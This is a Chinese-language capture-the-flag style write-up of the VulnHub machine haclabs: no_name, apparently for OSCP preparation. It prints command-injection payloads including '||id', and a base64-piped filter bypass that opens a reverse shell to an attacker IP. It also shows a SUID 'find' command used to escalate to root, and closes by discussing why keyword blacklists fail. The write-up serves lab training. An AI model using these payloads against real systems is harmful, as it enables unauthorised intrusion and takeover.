靶机实战(8):OSCP备考之谷安172.16.33.49

admin 2024年1月10日14:52:28评论11 views字数 2384阅读7分56秒阅读模式

谷安靶机:172.16.33.49

靶机官网:haclabs: no_name[1]

实战思路:

  1. 主机发现
  2. 端口发现(服务、组件、组件)
  3. 漏洞发现(获取权限)
    1. 80端口/HTTP服务
      1. 组件漏洞
      2. URL漏洞(目录、文件)
  4. 提升权限
      1. sudo
      2. suid
  5. 后记

一、主机发现

本次攻击指定IP,不涉及主机发现过程。

二、端口发现(服务、组件、组件)

使用命令 sudo -u root nmap 172.16.33.49 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

靶机实战(8):OSCP备考之谷安172.16.33.49

开放的端口

提供的服务

使用的组件

组件的版本

80/tcp

http

Apache httpd

2.4.29

-

os

Ubuntu Linux

三、漏洞发现(获取权限)

80端口/HTTP服务

组件漏洞

01、中间件组件:使用命令searchsploit Apache httpd 2.4.29searchsploit Apache httpd 2.4.,未发现Apache httpd 2.4.29组件的Nday漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

02、应用组件:使用Wappalyzer、FindSomething等浏览器插件自动识别应用组件,使用BurpSuite等工具手动识别应用组件,均无发现。

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

URL漏洞(目录、文件)

01、手动浏览:直接访问http://172.16.33.49/,发现一个查询表单,一般会存在SQLi和XSS漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

首先测试SQLi漏洞,分别使用单引号和双引号进行闭合,由于没有回显,因此同时使用时间盲注payloadand sleep(5)#,在响应中均未发现报错或延时,说明可能不存在SQLi漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

然后测试XSS漏洞,使用特殊字符串OneMoreThink,在响应中未发现该字符串,说明可能不存在XSS漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

从响应内容Fake ping executed判断该查询表单可能还存在命令注入漏洞,使用payload||id,在响应中未发现命令执行结果,说明可能不存在命令执行漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

02、目录爆破:使用命令dirb http://172.16.33.49/爆破目录和文件,发现/admin文件。

靶机实战(8):OSCP备考之谷安172.16.33.49

访问http://172.16.33.49/admin发现只有4张图片。

靶机实战(8):OSCP备考之谷安172.16.33.49

下载4张图片到本地,使用命令steghide –info 图片查看是否存在隐写,发现ctf-01.jpghaclabs.jpegnew.jpg3张图片存在隐写,但都需要密码才能提取隐写的内容,另外Short.png1张图片不存在隐写。

靶机实战(8):OSCP备考之谷安172.16.33.49

使用命令stegseek 图片爆破隐写的密码,发现haclabs.jpeg的隐写密码是hardernew.jpg.out的隐写密码是lol

使用命令cat haclabs.jpeg.out查看文件内容,发现是base64编码,使用命令cat haclabs.jpeg.out | base64 -d查看文件内容,获得文件名superadmin.php。使用命令cat new.jpg.out查看文件内容,获得一些用户名。

靶机实战(8):OSCP备考之谷安172.16.33.49

访问http://172.16.33.49/superadmin.php又发现查询表单,这次提示输入一个IP去ping。

靶机实战(8):OSCP备考之谷安172.16.33.49

一般这种情况会存在命令注入漏洞,使用payload||id,在响应中发现命令执行结果,说明存在命令执行漏洞。

靶机实战(8):OSCP备考之谷安172.16.33.49

那就反弹一个shell吧,通过前面的网站URL知道网站用的是PHP语言,所以可以用PHP来反弹shell,使用命令./rsg 10.8.0.110 3349 php获得PHP语言的反弹shell语句。

但直接使用不会生效,查看WriteUp才知道payload会被拦截,所以最终使用的payload是||echo BASE64编码的反弹SHELL | base64 -d | bash,成功获得shell权限。

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

03、模糊测试:基于目前已知的信息,没有对网站的目录和文件进行FUZZ的必要。

04、信息收集:前面在Firefox浏览网站的流量全都经过BurpSuite代理,并在BurpSuite中使用HaE插件分析敏感信息,无收获。

靶机实战(8):OSCP备考之谷安172.16.33.49

四、提升权限

sudo

使用命令sudo -l查看当前用户www-data能以谁的权限执行哪些命令,发现没有tty终端,无法调用身份验证程序。

使用命令which pythonwhich python3查看系统是否安装python,发现安装了python3,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'成功获取tty终端。

使用命令sudo -l,由于没有当前用户www-data的SSH密码,最终还是执行失败。

靶机实战(8):OSCP备考之谷安172.16.33.49

suid

使用命令find / -perm -u=s -ls 2>/dev/null查看哪些程序允许使用者以属主的权限执行,发现还挺多。逐个在GTFOBins[2]查询能否提权,发现find可以,最终使用命令find . -exec /bin/sh -p ; -quit成功提权到root权限。

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

靶机实战(8):OSCP备考之谷安172.16.33.49

后记

迫不及待地查看前面需要通过WriteUp才知道命令注入payload会被拦截的具体原因,发现是命令在被shell_exec执行前,会被str_replace删掉word列表中的关键字,同时还会用strcmp检查是否删除干净以免被双写绕过。

可惜呀,word列表中应该把我们前面命令执行用到的base64bash也加上的,所以还是被我们用黑名单穷举给绕过了。

果然呀,黑名单不是个好东西,如果是用白名单来检查IP格式是否正确,那就没得绕过了。

靶机实战(8):OSCP备考之谷安172.16.33.49

参考资料

[1]

haclabs: no_name: https://www.vulnhub.com/entry/haclabs-no_name,429/

[2]

GTFOBins: https://gtfobins.github.io/

原文始发于微信公众号(OneMoreThink):靶机实战(8):OSCP备考之谷安172.16.33.49

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日14:52:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机实战(8):OSCP备考之谷安172.16.33.49http://cn-sec.com/archives/2335789.html

发表评论

匿名网友 填写信息